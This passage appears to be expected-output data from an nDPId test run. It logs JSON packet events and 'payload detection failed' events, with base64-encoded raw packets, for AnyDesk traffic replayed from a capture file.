hi\/94KHpANcgdcccbguUjiF+2Q1Hjy4kGtHQ9Yc9BQOPAmi2oTyp6Komx8GvFxKASYB5PdfqVqUPucrj5J3fQMcNc5+S0EG8U3VfI7l1erQqEA8GvJYF+2KD1INoXAcjX9et7jYCLI5uvle+rA86CMaLOcn01ub06O6Wl2zWeAGEqInoQ5e\/henE6NEcj0qa5acIg3sj8TwLH0z1c8eCtF6LtZWEanCgUddLb0AW96p+XS3uo6x21gCGqNXcvwXS2oy3JhMUSCNRlB9cg9zFUm7sDzN+bBOqCxQq3ZMPq+FLn4znkDCljM5r6opObaluvyoqOTpESEXkS7TzR8xnbxsWxE8XT3zepouKcCQygFc6DI\/7fNUCgK1N+cp8mZNS\/eOsmjMSRXB672kXb\/LaRNOLs4DiL7LzYHVD5FH+Gq7SepPJ7Invxju1O\/1HtwR1IWD\/+OkpEdRGFQUQUdvMYwfZSgZp\/PTESXhRsD3KtFqWv2mQk09X57SHJCv8sXuZ8dC9O3kxVPCcfQQ37euTKQ2mNC+gT6juoLmfmMv8olQqD7JaJ5JQ0vgfp01docEAguSpKZdmMti26veeo\/W6uWgOTiZR3X3GL+0ZQkZzI4AAIf2vR1eW53VDx90hDpAWn3b21AQ7StqGEkVZWnzhHZmVjyDE\/t2jVgS\/W+rKgMcag0rU8X4bJ6\/SRk2M23HYifQrF56wM7qUjXBOG1UKjHNyWJeWLTPLvuwDK+WYuwCjObZue4i+WafbQ5ezfK\/r\/Xxg30ryoRd57DZ\/Bro311BoONzfog8Gut7\/SSF1nozeLgirSJ7UwLwnmiynFgBT7rDTHFGZfSISx1\/zYiWyIWlUe9WjQs4hhItY\/nWUmGKqSXtrNgD7gZozDXu4qDUPQfQl9PeYaB1f7OA8omkFUUc3dK+6lQHUbgHkmAth\/yKTxZ0xFFVvNEgX6NSexc7bJc\/nJNfex0a42WAHcG4DnS9lhqP0rZY2z5VdjIYAb56rV6IJxHfo3V4Av0M1xyx1j5noVYHgNHx3zEnl4l6dTyFFg+z94EhxmZiwpa17BSiWDsAWZqZltH61agS8G64Q55fNKPjUoY9ZhBLa"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2088,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":3443} +07826{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2091,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977615,"pkt_ts_usec":42441,"pkt_caplen":5556,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5556,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAhJNAAIAGAADAqAG7wKgBstOUG56PMUi7WcRHc1AYIBOExAAAFwMDFXlZ4hNO+msW9P6IbWo\/spyoqIF0vg+vyfkVDvYqPHEU+dKC8dwz\/2pdw\/qDhHH9xBnTQxLmxF9aeSVwUeqQIo93sg4hGX+BwnQs4wIFrAz1q4ARb3Ser20miS5ha\/z4XquYbgzpAwM4nHgXaXay2L9k2a2Eq72hefKr2ZA9ffdysbEY9r5NnkLds34rG3sk5QeIJNEiV6NQ40sRwmuEFN6wvq9vdl+R\/IAA6izFReadc6BOKx+T33Ik\/zcXqqqfJqS2qkWM\/b1lQ\/7sUEG\/JK02cWzZHhnAmxk2AV\/76iUyfvuGnmHcPIUacUNqERVQlkAWKVdePtV5pdTfVqjbnBnYsKohUFhABW80AE9k9Fm9bcygEUt+\/xhTjUgpBI2GxitrOyGuDtsULRyGj12KlK4sjIChX\/qId7\/XavoQSz4QtYZqKhVKDmGdsRcQ8lrs68vv97JEc3bZnmykJwj1KCdoJ5golv9np+0ECZEe86u6GlCo4kHYoWSMKXIra8ovTI2IY+HGJ37iBDVSteo6HwXSeNL1d5HOvWd8r3aCsxe1pa5ys\/xhiQwtx0R+qsFCX+DMD+oEc7G7CpJ9pCxNm89sOzuvECyxgWaTAyYjQfDcH2MZI+4w4y0JRuIsx8AgEzJXI6TMcmcSkbxfVcX7tWzdZxwjaUZtnqumnV64bgakyAiL19uv7qf\/rSc4jyVvkrRvJvAvtXA4tnQXPhrbtGP5R8VMSRNm6WzzfTDFTnkaPafXfeuzaNyTkT\/KjZrdefcp6IYa3BxzRjvUMV6m9ZDPabpE\/jUJQTl\/\/2k6yOyZDX4lFAzXNlIC1M6y3F5wtKx+7bPZZPek\/MKbkSrmuabwHbnp5Jg595WapEq9Go5DxaJG6s4zaHcU+CcqrMvh4xMGcm9p50GcwU8IwQ0PeaCSWu0EZ2cr5m9s7o62R8v+y8vBHsnQilhyWe7Q1MyWcoS\/DBEJio9RNln4jpO4xDA0tovqCmhMJAFYu1Jfbc7YZI8ZHvvBJaDbjh\/EZz0BZ6wj0i0hXzlUhsqRHnB5iC3icVWgE8PvEbqr68\/iO2tbbj65KvmEWoDN0bCIWumpGMFD0cDV2VlnrbT3cqDrdvtQwmSuz19iw\/8IzWsdfi5kBKDzjHhWrsQWAS0oYhZHMqrYKIlHKD4rGzp1\/aFz1PsoKgbeP+vMUyQD3wcwdm4aOMAdQ9gD1y1QlO4PRjbSCNGCC88BVPzTdQOJU\/jRohLb5mmEP9kjG5Xv8jrfUUJoF2Jkre94dAnBQ8WKfHLJ\/bO5ZR3HKFrEUJMC2uspkA6FhDbOxPK1gW43loxEF\/c0dmwQjFl4DbJsFzJeTCZz3O\/GZ5yHdchz46GMmjjCxDviQ\/MxJ86ytwRV4Kinz21MjnMZz5l9cCb3w4cuMcHWH8mHWO3XVSVXPNaOOpvp1qgowTS+eB+flmW34fDrdPBCtuSs1e4B4edinfYuM8dYSaEdQwVDVYBYoNXA3NGaFbBOuCIUElRU3bzCqgj0y2fKoBaMH9TrE0sl9FV2Qglv8lIJoPg\/8LGEdKhmI2gtZdFcLB86mctdBCmmPnYIIqAMz6z1HDYHCALUry4pKGFP9aVl\/PGvxrM2J6+wbLrkOKgbqCi\/AaWsa4zVFXR2Uhh5gv750gSrV7zPKMM5yutDNZxifuSTz\/pi9cJR1Rwa8gpsGjEVlImpN5a89RWTfcznrr6FPDZc3PG35vNK2Hcj6HxD2tpPgm82V9lzVgRWU9wBp8AkyfQxZXA2xplu8yTeRw0MNiReLZafbYC5BVGMyl\/Gvq8rDgNL7r+xvXN04FVTbBjp+3byOjFeJWBdUnwqYJ6212KWxSscqr6hTgXGANtlRZzEDWG6R4mulbtxRtqAeV3q9XiVmeOZ1CslPQPTjmeXx41X4Fi3YEHyOLJSnlGVfV\/z2CEaEO2P+g3bo+NOYAZog4z+YhURJ706yVzzz2zfWl4oYQdDI7THuCb2QdY5G3kbj0ZyOJ\/eKvWIbKML7avylQDy1kYJrmDRZ+gEXkVl4DWB4GlM5n\/G6KWA1DqvRyQCtE2wLPaGM1oLXwn0SxS21UaU5RXQDKSVt8xhoxK8UZO0DHWjbg27v7jU3xyLw6hgqULMY5O5u7kVtp6weYd1iKLWtj9E7XyU+7ZLRjO2SsmH0FNPmMLlyW9A7RnidXUu4DQVX7vtm+HYz72NpXPRAVaXoBJ8g85Ug469wMp8VnxhOOAMpzslN5B8GYP730PA\/z7YKUfmz8lYAUS51zE1Z73T4HstCQVObjatbIRyAQT+V5+Ui\/luvbzEWISTw7WTS9UR4+oW+25M3NjYKWvDt3yrDAgtc91EGE+AaJoDnmalw48\/CTI+Nhm0J7bIkQiywP6gnfn94h\/bxHOld+SVQo1NDjhZRbwU88K5ECLY7b8aZhQVF5MPiBHWiYi64l\/19o4Vz5+1gsPkh+YITX45Ro\/Ajtu3mAI0AYvqkZUNnWa0jlMjHAm3Eq2iyBePgBFE74tMftXjqoEwjs7pcdwC10S4fToLgCuUjyJ0tGkAyVREtbrwh2qw1ftqqoEPpzqhq45fjAXhm7+Qxuas8IEpBp2foUrcHSlMiYCTh\/fqLLOya29ldD6WAz4igV0JfITX4CMnL3u3nUp\/f7nSToBoL+zh+6\/Dm+7qwwkae\/2bn1iHiv7cC2ez4X9SbrpQtACtBJzEH6YdCei4fEpPI1VIYd6Qyt5+cLOq7jpGNtILDi1N4a7vWq+MoWo6JoSU+MFR1Y+Gcc4MM+3wwZpfWN2RgFoS4nYai+b0uq3Wif2JtNENcd5otSEcbIa9Ldh\/RIlbtfQS4RM\/a0Qs7JvPeRwDW5L4iJFCVH59HI2SZojZWJuB+R+xJSVKqQulRS8xPj7ZVRiQJhCHEZIxH0l7kyJ3JvtKeT1Fu05j86eFnbCDe1OkTnw5ilZUYbqGam+u0ZJDzITX++UXNqShRq8uvjsmJ09Gx+yADK31u5gkmeW2GMaNz5lugXXIIrZH4TAPlvf0qsWwUZ51Fb4jill4DnXUc1m3r8S4HbVH+7gYHh3bM0LMc9DlKSXFlfYEA08ZcrXZ7x8ArhvESldybHWu9Eg7i3LLIUSMJvM3pQ\/MXNTg+I610HTrpoM3TkSLI02zSn6X15QVmWSalz4RykiquGn4IIOSATn1v6o8qiouV+NZQa\/VgZ4CGvaj4GmIR0nKJEk11RjQQZDztraPWj+aXhLqt00w0CjjJynheiu7+gEDxkA36y6LWvGBzMHE3S1TJ4shKXuVyHyxEEJXGX7bL0dq2xL4P8pLyxOA+AN8kKikJ76vyw3udDHznzM78cfB5GPGU9jWSWWYLXUKKpMEpT+gRztkOvPL0L44XpP4ncvGu8pWSlQq5GtNqw1AtIC1Cs67o+al17RZ3R0VGDYaxc36ZeOTHs1of85ka4JrQyLjqx7BLaaBgZTyM6suj\/JW0hUPdoJfp2CGU2KwLhHfNrLQwvZBkreOR\/kNjUmjDjBC+H+CH9k0Qokmo6G9boEP1ZLu1zZcAIFPvTu2BOJRSgj0ZCbSjnUCAcJ2tTtSykzLrb42JyeuYkdBCi\/3Rr6JM3REu0TOqOdb8I\/rtpKeLEi8sZWVo+KkqXEL58FzssfnLmMnl7a2F\/LBiJniEshlWNkuy4FN192IBKh6YXqs7aWiKcXwZX1f89eOAbe8exXqn9Ngq1ljIX04fGlxyGXyRTtI1kRJJuELPzD7MXwptXDUNNawyi0iy9gCS4VU45+BMxhcpx62pW0aphZcAEs2ZiIa38RAyUKNRWSc131GTm1G4UVKs6qm+TvGzNwEGt7+yhAmg7UUDSom74r+Sq2\/SrxEtOkT177pnUW4LNPUSG8lXO0hfrsj8T27Ebu2oXZiH81drnRT4VSjHJGzDcP23j+ZuQL7SND0FWBc51AjHc6+aPRiC2KkBZVd0RksSqLBvRYaobbg6YNTV0T\/rjt0kWA+LxLRVa\/ANCQeC4w0rWOM9sNBHdGpXUv1WQrpTL91wv8LLGuPxMLAtYaoUgxFSFD3Cbo\/6xFtyYt9+P2e60OKrGr2zncSFO3N1d4srPrIekaf9H\/6k8nFuVUav0\/Lm3sohSW8\/HwoziO\/7LibuSFiaMMRQkzl7OBpdEnJALbTvNJfrQLKFs01PHoEmuYQwT\/0fsnpKhvfJo+zJmsAG84mlL64JSIGRL8xaphgKa9dbtzvo0lDk8IwnrkfvF158u1xCoSrsb5Pimfxk6dQHyVBSYR9VN\/Ht+RtOU6K+cakVGzXoi+7swUqelGc8Kog+KDxS0CSBO7JU3rrQ8GWEy2V\/qZOXzG1JrF6lDqOPdryaEyVRRRP8CurRxOhZPlmXXDTGnTfuBz50Rs3jQYsZXHdHtl1hfTaGdb3X\/nj\/cMHPYF9Yd\/Z92+f7BsCgJH7ch7Rtg9kDL9yWayyWW3VqP\/9Zt15cyM\/TFgAe+eZ41kaG7jzmKtpSxbf7+A4FCrOjoRiuzULpigBAHlf7eYZPAzC0lkWflT6M0nuU8HCICryZFan7szTOfSq8xvqxXl2X2wW384t1tT+PnxVRCTWzkweT90xFJEe4A1oV2Ktz9qMs7Fy1fiVFuJJikD\/aHxuLgXsO4Tt4HcdLCtW0f3HnVAarKb9vvj4\/HweLF+urk9j3Swl6A\/2geW8LhzudLgYIBwiqxgdOLwDxeYdoG2p34iF0cK8YE3EgW3Svh9k+ukbE+qMSMLSxcK2Y+oUC9x68Rzf6jEv40FJLAC\/\/Jrnd7IYFgV4pfifjyWn1doP9Vv3GHbar4z3Ql5SymvWhrhKOdaYlxFrAOQTOvEAbXEDd7gL42YiScYeZBthpz+9EaMcP\/AdxrSqV3OhiYuzVRmbYYva8zoToZz9fDgUbYT75bZ3qPEW85J7Njdz9KoqX3CrHU6KAAKEZDqf4umS3Tkn+WOP8lx3DlXzKu1qEp+o8M97LtWU+Sc2XNlRPhUe9BPszk+fRslN8L8RjRhrANqQKNx+8B\/EyX5WeGe639ZIcgw6wJoFeIQ1FB4q48Kk\/uXvnb\/IHjA081nShU5a\/yQdRjRErASiuhXgtFszaB3eQzBItpgUmI80Ywx\/PdzcUuqLuZTSZ471AWeqncMa9nDMmrIP5YKzTYckTJ\/2A9d4vsH4tXhzmijHdfJ+\/S3UkTdM6Gcyqj2ST+a1Y6YHoFCYou0OQp4hhFDIo6LMcWBr361WQP2twB5AR7xSI7HDii+wSPyI\/VBwq1uKqpjRNlAsY9LacefZ9hg6\/YkIZSacJKpd8JXYTGOuUJf1ThQUaNFWC5QoxJ6w0glvLqm8jLKOrl\/yHSBseHPz40KmB9jQwHHhEz44yv1FdUCG969AC08GBtnfsmI0IzifAx6xfvd\/Ab6ue1iszqGACbFnDRlHZhEiiqLmfWbABMUTgxQbqMpU5J+7MRZ3diky3bTn1xf2Xauxk2usRuL3GopwPYsdxHHGIioOuZVETBtay3VSOVyYrW9Fe1b2xCBC28CW4ULR5lmTsejiIkBJaR88yIa6E92n8wgR6GruiWOQco47v+eMo3g+Xn\/jmzHE83Fd62lhAAk\/0cul+\/XpLMh8UxJOth\/FeoTGUsdqa1DpY4dnW\/YEAn1+cLyET6BAAi637T++e0Dd+qxQQQfwHlge\/VErv978TURbc5eSW351OiOp9UGiHbdvgQ+dHbyNwx70VqUkVq6jmHaDRu6xe89oILHM8EvP8rxOiubrMeGtvwNXI4hZCWsTY\/Z1apbXxqoCax4p5m9kL0VClmF1xsaFkBUjRTDAzYgDKyU+NMuZyo+yiDlQ16ghJB7I57ziATBspNPcXlJO5d87gR73d2peGSR7+acH888t3Mg8REhTndQsBSozqVVYhvSgFrcB3iUd+RLQq78\/hOeM6G7WXUeK9xc0HWHgOG+UkNqGZZQsacRWv4GJ9We8bFVWBNFBCEgZitbyYlcDdcqSTHzzntjuLho3jBWz8dGB9eWt053LsDDZ+Y8AXgvDiyZLkectZBPjGRrw+tK+wM\/lSGW2FYDRgTkOKRFzgBHFIjL79pz71uNvQUA9ZihaTQ0zfgvv7ntV39A6TQ6nt+c1SRg42OYZkuYUi0+Mn1l3iYu+xtoFGam9z2mDnE31fd5HgTxNkIXA8yfp8OYiVr35yALGyqhGVvgXMRxI4AsvQRC2c8Y1h4wUlO4KwGm+OZjtNGDNSVKXAxVRi2PD2WzHRFM1ieAbIxfxpiTl4\/wQkl0D8246HEc389oVQwsc7k\/eIy1IO2Jkbok2cTr6iDIeWDYfn0sxBiRZ4MeVFrEiHMlci261H0TKcsFGDtys7g2nhZuFg80vexy1pkdeY4vxi0uCIfjUDW+3b8R3jizy7lXX0RREonD11K6tOVh8KjWrPK9hPstgugz3Vju335hAx1y0HwyxLbNuPZ490ZuMsXpisiAFDLZXXXgu\/9cUTEsg39V\/Mgb97Q3MMw8ZTbqGN50h4RGpvKuOoIopFOl2\/hYTZaR29ug4W1TyeX+0ELfUsAI5cijBX\/r8zUpjLG2nT+T7Acquw+9dmdl8UPhdqQfsUV6zB58v9seVPYoqJ3SLD7FowgXyiZMThrkTxRwn2vCDBoSHCa3S3PKWhrY7+14WXrAB5lh8ykphFxLvESSKoF3L0l955NJqdZe9Bm08mRh4rpYeUs4Wg4W6VUnrTe3weoAHgBuRXw+HhdlmOpbNARhEaGg\/DACovv+Dg7bY2p3kTfNpYzCO1eQup71Tf93xs+LP4r4jtjG88ZOmRuIBEwV2QNu5lfiGsb+FClWsWDFDtJFhHJ1xlhFKg9KvgzPJ6czj9nEDvFSKHwljp4gP01GVHXPtuKOdvZSxegx8HkKBq0u3Vm+ogUngH3AMRAewCK0E\/GkHbfVCmQk2040sI4Ukecx\/vUmDUFGZeTupTHBXj1QcuYDfj3MdhlDwnvglONn6I2AwpZUah2uC0678dmnoXKOrBy2LROHJx65JgWqecBaDFvgFSuu4uwVz\/yAW9VGlFOws6doIBfY\/smQ+3b9NzDgMRMR8rS6DZ8bkjULliyoOa5CLlnsO417dZ9DGwkapqeAeOGhmnTXxWrK8phtZ99tRwOlGKW4m33D+H98KQRii+15w241P8qBYYtEzUpMMXZqKIi\/sP20WTwFtD4am9rqDcWhXY9W1vLlIdCKnlP8x0zxFZFm1i5I+hArHB9LtZW8y\/8QJS44RpEiBPqC1gJmUhABnuQnA\/D6PltbscO8Erib4NWE9rEwrXuNv5WgtqygtQCnsktfjwgnIv\/XsZ5o2SHv9DpoL54Y8ZIaHVdDLdRB2QBXchnlvgqtO"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2091,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5522} +02934{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2092,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977615,"pkt_ts_usec":42466,"pkt_caplen":1938,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":1938,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAhJdAAIAGAADAqAG7wKgBstOUG56PMV45WcRHc1AYIBOExAAAFwMDB1dZ4hNO+msW9dX0CGBrZ\/x0yrLkW4b4sWJ0WaU\/ufrJ1t2Kk67SXF6Aju3dV5gljZ8XXgd\/epX\/EddByQdxIG\/cJE0MldcdtP8l23PrxPFGqWqf1Xau98nqRbVE0HaOv3CYIL+0OMobYjfemQFPbZfILm6Z0RqSuajvxWEEYWQi1cokgJub8+52IIh81r1HY99yhiBHmtPfBc6WBXX5hNH4k5FwzbNiWSg+lrB23ISE6D\/sEUrplN\/RhtaPHCduDoPDROYTXkAJIJlpDznB+QxY6HJn52W6fwirohrfgBP8SFDMekjnPXcsqJZgMsKjSa6aMvsxHIn8wV0fiv4++F0rdNKTMc7pyqerThsrb51wP414h2jEB9rLLsIVqm55a7YKW8i0zCueuea8QuApjFUOyu5RJLtHdekBEiaVNq42FrxK\/yGOaJpiGYfpxY5Fnwj3ostKXUX5m9nQxuy6pGVX9eZ7DpeRiiX17XlaFCBJN9gYqQ44o\/PJ+Xo37RXVHa5Bqrs6zykzVjfEKVbVJPtrD0luNjGB2ADrLpkS6H1SDhUqZKx0uy9HjKjYbIGVsR41sRHQy+KEBjePVmogQZOrvNrDCpn11OWDdKQ7UyR2dY3YaCfSBpaqYo8YlXOBgYNvAhWXHdf0ubUWl\/eaJyUbPkNHXYxr\/MUd162TKmgwN9tRk+xZXUMVueuX94cbJ+qH4FJYN\/qtvS2r4HqSZm0hUbaIwiz2bR8PysybyUNdei5kHVg58Pq1AF6QBr87afGdBPZ3QYAQt1AKYju\/A1LIT\/gqx6LcmzYVmcPv9NvMSQwfVmMI7PV7h1WzcohwjET36huvfYCmblnQT80tiBeT3VVKrokB9dJsicXFIa\/17\/d625ZhFqBzYFHNoxQMxkLo5rc70qSllpPc4Aq8RTCfcb7dHA0Zuq2rRi6mdiaMjRSMRekaLBCY4zxMfe3jguJ6gOvgnhiOBBIK6QHCQWE64UdTIeLOXtb0IZQsgXId6x78Hmt7nvZyIGgRh4O+qpi3YsGrY87dvTtr33qN7mCmcqFn+xY\/26tcV7pPFGsI1zilAttljah3A1NURcPWZiVqrSNVi87vWvQt6KhR09yGHbj2SU52I5MTmNVhm8XlFj95oa4rYqhBcoWv24kVbgjEYXqUU\/3TvyQxh6Lx8dmhIprE7MAgr5WwWt49XOVRDuEuIw5+RJu1rW+5KlY5eO21AjUqsvG+7mm39RzkSCecRT4QGbaCh9rI3ca6IZToCFxFO4jAgkmY+gQonbVHOdvb8KVK\/DC1yp9kD2ZmkC+NA0GONSd\/M++M6+yxFWWnLNVSPA1ba6V+Jh8JixfTp\/SmOgIEXM4ehosbmdh42pEL769890CWMh72qGdnbH4G4tYYpD5wi1rcIDDmZYYk8lkgDR2LhCyu9U7ozR3peeUCbehTetjB7vB4AohRbrnuvgcPr7ZbWoXILkqYjFNlPNLEhTUZDpsU\/4Gm8oUdz1gDtzcuBTWIBHOCRzKEEInjsfxgxJQT8mMT6zoUJAjgbb1KlbkS37Bxd2GiRRNwdlQ+5VxOUxyUfsi8mutnQzbtd\/+IspZwrX8YvB1mqUDkBIvm6hRGsLd71OxWkJZvAesjXmq3PnwdY\/ByAJgo5dFdyG41vRqR2BlSDx5ixZ5mvFZaSYDh6zk1ibay88b\/DzEG3dksWngHlJ0fhft8YYJ0BovQINzSMCYM\/iQJjOCZBAu8hrcWgPfLRVpNUPjvmY5KA5hOePLEYBB9NtrMh1QVGXeA+\/xsThK\/i21w5VPBnCbqvsuXFw0qKhiU4jpmdG\/NFfLbqzMuiYfxyHx4ttuE3HSRrbjK5szxg\/ROujX64Wo2CuS3kMS0yj\/PzvO\/OP8YC+4Rchjtm5rmqGowpw19OirGGuUDB\/\/7+nfONuHR1cpNkXbLV+oSYjOyAiftmEMg+1LZvEPKBop+iJow2F0Jqw\/Q9Mpcml73tGHIrtDk2TAFHJZ\/NlZgGaPKplVrLzooEj7lx5F4IE3gUGlBN\/hzosDQ8drzLcxLiMIyuStQR3Lk8DFHMbWGjW7qhjzs4Ipvruj9E0D\/jEyTzHQoulkIK30qBpJrAfUyeCurMVPYZ2rmBCtvREua3tRwQ5+U\/obXU1MeCekXOljC2wVoGUy8XLQvzBz26\/L18+Z3mhFu9SqHwPq+\/0aWJfEDpWvcNuWkHbhd\/cQeC3cGxOgoU64MxCQOfnKbYC4soxTr19I9MZ0QTUkHR14m4uh0\/8\/ywmnyGpQ7a6BQ6baKqWzvltl6SP8K7rGN89FYev8wg2ftbjDuefrHtWsWq+kebFhMVHnw2q4dZEDpAWAiT0\/WCr+UzI6pUIjA+6kk76wnTH2XB1+2WdA6pb7Y3XceYV7tGlbLS3thnDHpRcrnwOPeIzVy2rJDqs2\/UcFx3ZtAXLOPvaDljFN+HH1jyOGxv5R+riLIYUDXfmLfHCncVOJyjaYHRTeLi2eEAJhTlxCmgj6R6cvO9hylQraO"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2092,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":1904} +07818{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2093,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977615,"pkt_ts_usec":42753,"pkt_caplen":5556,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5556,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAhJlAAIAGAADAqAG7wKgBstOUG56PMWWVWcRHc1AYIBOExAAAFwMDFXlZ4hNO+msW9tStGC0ttXR0rajJJkRXlYPaLuraNr5TeR815ZZ6vQ4vLVNbm1iJeT\/ALvX5dmGhY04T\/WFbLKWHPOfdqPvym3YusNKEOYhg66Lef77dabh4umCg5tyPoqTBn3\/IYwi2W+ZieGRNC+1qXKbTi+t2SHQyaIErCZxtVFBipDnLWTWli5wyfrWYUMXVrgb75eG+3y\/JKVtn1VHUGnuF9iEp6seoe1M8Of60qHqW3SJiKLgDedtKO4i9hMhg8RLZX7kffxFyOJfkb0gw6g3l2nN0Q9lcl+AX23NdfPfzpVdjfdLh01a8dc47769ROxQX4VqqYoFKqgzl89gOyVqEmQKRVe78BFMlLm9LSlvFTm72czsytaXjztMYYV4nI7VXXoFWvU2W\/Uu8abJJj9AWdN\/As0YJ+EP\/xP3I7H7N\/CUaO+gr1rZn9wrl2oY0rYb9AigzmeKnvKvpdZRx53RZsrZq3sE6+JW4y7koIBlwf+N2mhqo4CJZxSv2FVFKnUX3BlkWEwCE0Zk0K2hBS2ULQAO8JrN\/snfMo+aBVw+gdveSNkum5oDa0+tCF0Cdk4Dkls+dF5ZOqCS9lh1CLvslm97vCzBKQu5sQ6DstMZg8bR2w0OgoJcIBMaKqKG7Qdn76add+ffJ4QSjpwlwTxI3QtJvh10Azzs8VRgbMQZw3nbUCnKuYoOuc1l1IPkRk7liqToQoSJYz6XOYCCcoH3UPF8WvaLx7qcuyIOjg25NIQSWk7dz+P\/gMO2hUqWyos6VQcPvQ1ctinmokSWAgGwdm7GlOZBTSSG3tpgAhiBa+dZ6ZmXzPYhjS9kluafkavzty+Dewa+HybfN7sInyNXQYTkXz60VeRFec2cJTpqy4T2oytCglw5lNMnnZhaQtYQu3d9goQt3hIVtz550Fz\/62zL582dveM8i1YDnxlqZ1e73AIl0X+CM4KQy8fruh7CgoegQfFaHvQlRePZMXZOeQXrTqAMZUvOkRAgGU4sRRf1Nb3uDArxvTIITvIy48ON65hWpgVADrV2Tx7ndhbWzkKzDTcWSqTeWthgznhEGjW9GhoXTQDndmaOTzFK685j81+RUfZ321uTAjD0Tk4tf6qgTbBVzDok7dnXcobyEtdm5jVrMTXQyQtxWa4byemN8gxi3h4ao85aPb9HYiR6Ry3rSAoSpoG6Iewm6oI0t09pbZ7PXt7RC+Bh9sVOobPA9ksS+AZ+ArXWVrvtGGF4izrXhJtlN3K7nmEeKvu6KcU9BZduvZbAkiWkRLYTZr12+UNQT4LT\/Y60u0bsn7rDNAIfE6u9rFCOWXLmZW4DlrIqF0jJTn2SXPrfixnbvy5BklGOFc4ngpXZ1hW\/H6I2\/RYN0vthdE+zDqVGi5+ubewTuGXN3ksBfa19KUWN4mAavNbTt+rOOvZZIpA5izrCLJGG7LinK\/YHr9YpgswFne6m6fjKooYO7yjl8VhGfl0pktUpev3qCDUMC0u4ea6sTqfLxTeoYLan\/UzJ0Z4Fe4wVNqymNL7VmtGoG1OMTK+55jQZCvFcQ7NEVscaatw21FQxMiqxXDPWjkq9CeeUbilharlEGDogTCgTJw17\/NVBlBCDHv5i83XWx00JtIUVkL87VJWx4vqiBhsnmaODHIfGAsjbL88ZdAA41kjqM+coQxPsRQT3JkVgRjYD\/cBHYEzxymiCd+Q5gaNshBoFw70tx1X5+POeaCla0KjU4NaUpTD2BD8jqmJ3RNkKd6uJFEq1W3hdOpWf0B1k+NoNmbK8qbmubpQgJ4xwOXmm\/+G7AU0Q414dDaHwPTjzjOL4TfVaHy8MuIwdW2tJ3nTqs8XxLKkKFaByZuTrWxJiBxHm25ttqLO8CnieTYlGwFbIm04I6htw1qBz5yA5gTfqlewBfml7Wrmqy49JVMfvTSyxN+ObRpfb+fq2J+B+5KJ5rGA8Fjo2mV2WptjGYkDDgDrGD\/cxpPJVtIpDl5mF2z0My3adKHJAT1qlNz1\/uyUlAunI2m886H2LBoC\/m4msBPiL7cp8+HAdetUEPc793Ej\/HRVOzhbToSBWM+HyRUQ20un8IRK+sHhodXJ\/LnTM1Ikfv2QVUI52tUFVD\/JZyrvSnteY645tQqqi2hDFQQJrpeJGLdrU6H6wJQ6CWJNAjuCTaU1QM3zc+h4uMwbS3XFy0TfmBJ69VvedH84pzueOPtqPv2x6seNPW8TLhGWsnRx4\/7gSmgfuCYwgbSRU9vQ2y95v98jXZ\/i72S1RgKNP1Y+ULmsqc0NbNjLrzYKdnjlNe6nH0Ody5dUxqDYyj6ZX\/Hb+8S2fhG8G4ksbwQnBDVpOFL8udh2\/BBSo0yRX2VW2p8zm0C8KkF21052g4WLnYbw+SNFTF5g2DAhSJ4H2i1WtDQm6a\/AsgZCfqYYO6cL5uX5F7gbLuJ3xZCLp2W7NWQygBeUlLMTuEWo241E8x3J48nOa8PejAJJsk76qteqEuu9hxYPJ\/awHO1gEjspMFEei29tKTpibo9HcSW5cf62IQc3QRdHvJpaXsREx3mAxNFvjyp5GogzWnklOFARkcn0nvEaSpnOFDu3N+0pMQ5yiH5pIa2i2ycu12HoBE71Jbel+VLxXiwfklcLjR5PgjpKagZhr7q599i17ULmKTtArcQr0ISCWyC5VINjU\/a7nMl3XSH0v3H\/njjXsE2Y1zDl+YqrOFZVK1IipRDcwIB5uUGdmq0\/1CPYNNHjnoFtOGC7zqxunmWIyXOYf1V9TPDalMHzse3ej+YXs9TW2Uj5u6KRsu1RWKy3AzjCtVhNGP4DWhwlupnMVRkGH2Vs6dlSR8FoCkONZy84PH1Td8+0S7bjSjTjQqFCSw\/BW9S553lD8x1yNyVnebQmSFDVB1un4fHa+Ov5h+N6PVwL4iO5bkPlN9whHth7mm6lEC\/GiGRpejhXC8us57k4vGTt21o1dkMpnC9aLteY0Roxy0mDNbYmNLNHpthtCd28g6dvSW0BRegUhAL5Wo2Di+VPJMCE6Y7wu36xfPAcV6LDOYocswP4WcI4rksP4Gi3awYezYG0byFclmRYebwI1VNEIZJef2FyxDpYn\/1F8vOxMGC8H9rrZpehmule2ZmLwqUQa5PbikB9j5xNLR7s+GaMKgUNhJPB3RT2RiEsAlywxxOeNfVQZkc8zxXUWpc9o5WiEB15gJubkvC3Gy3M2z4lh5sYkRV+DdSNJ5nzbPjmQldESAUusRVgG4xf70\/wCIrA9SabR56vKG+gW9I\/S9KTRSfKHQAj1MzJqrb00TyQTX4EkqSfblPONtQMd2wg767OnE5iZz5fElC4hxLuoodveeFwdcqc69LORNtpLSz2UBn8qbvUX12WpeZXDt6dhXVMTi4fGlsiKwSZH4mIU6Y32FCHcKJvIAIlDMLwngCadIHx3d7GwfJW23ERl0PUES\/stDNebpNhL2P7ZJjE6BuY+JZyT9qsSCLMgb9pKC976+UY36TVMJXREBIjXCKqv\/IWlsOIYfQiL9i0uD6cs0ZEI